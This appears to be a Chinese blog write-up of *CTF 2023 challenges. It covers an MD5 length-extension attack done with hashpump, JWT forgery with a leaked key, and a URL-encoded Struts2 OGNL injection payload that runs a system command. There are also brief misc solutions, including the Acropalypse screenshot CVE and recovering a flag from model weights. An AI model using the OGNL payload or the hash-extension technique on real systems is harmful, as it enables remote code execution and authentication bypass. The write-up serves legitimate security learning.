*CTF 2023

这比赛我全程摸鱼,唉,web就一道,misc全是什么深度学习、ai啥的,整不来。

WEB

jwt2struts

查看注释有提示,访问http://140.210.223.216:55557/JWT_key.php

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

这里需要使用到hash拓展攻击,可以看看这一篇从一个题目到hash扩展攻击。大概就是说,对于md5($salt.$username.$password),如果我们已知这个值,那么在不知道salt具体值但知道位数的情况下(不知道其实也可以慢慢爆破嘛),我们可以通过某种计算得到$salt.$username.$password.你添加的任意值的md5的值。然后这里可以直接用工具:hashpump

hashpump -s 'e6ccbf12de9d33ec27a5bcfb6a3293df' --data 'adminroot' -a '1' -k 14
19abfee78b3aae275ec1c6b7661b5464
adminroot\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x001

也就是说19abfee78b3aae275ec1c6b7661b5464其实就是$salt."adminroot\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x001"的md5值,所以我们就可以做到在$username === “admin” && $password != “root”的情况下$_COOKIE[“digest”] === md5($salt.$username.$password)了

传值的时候记得把\x换成%,不然服务器没法识别,算出来是其他的

secret_key是sk-he00lctf3r,回到主页面伪造jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MjAwNjMwOTAzMH0.pK0zUVaY2xfcoLqA5pfDLP_Y72GJMua53zuOz_jQf-g

然后重定向到http://140.210.223.216:55557/admiiiiiiiiiiin/,网站名就叫do you know struct2?,所以s2即可

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27

******一共就出了这一道web题,难度还是偏简单了,适合放在新生赛上,放xctf上被打成签到题了

MISC

old language

https://fonts2u.com/dovahkiin.font,查表即可

snippingTools

CVE-2023-21036,可以撤销截图

https://github.com/frankthetank-music/Acropalypse-Multi-Tool

Deadgame

开挂嗯打,打完就有flag

MWM

因为直接提示flag的内容是可打印字符串,通过除以256转化为0到1的浮点数并直接替换了部分模型权重。flag内容的开头四个字符是’copy’,所以遍历所有层的参数然后统一乘以256,最后直接转换成一列,检查是否有”copy”字样

import torch 
from functools import reduce

model = torch.load("./resnet_mwm_new.pth",map_location='cpu')
for name, param in model.named_parameters():
    wwww = (param.data * 256).round().to(torch.int32).reshape(1,-1).tolist()
    if "copy" in "".join([chr(abs(x)) for x in wwww[0]]):
        print("".join([chr(abs(x)) for x in wwww[0]]))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇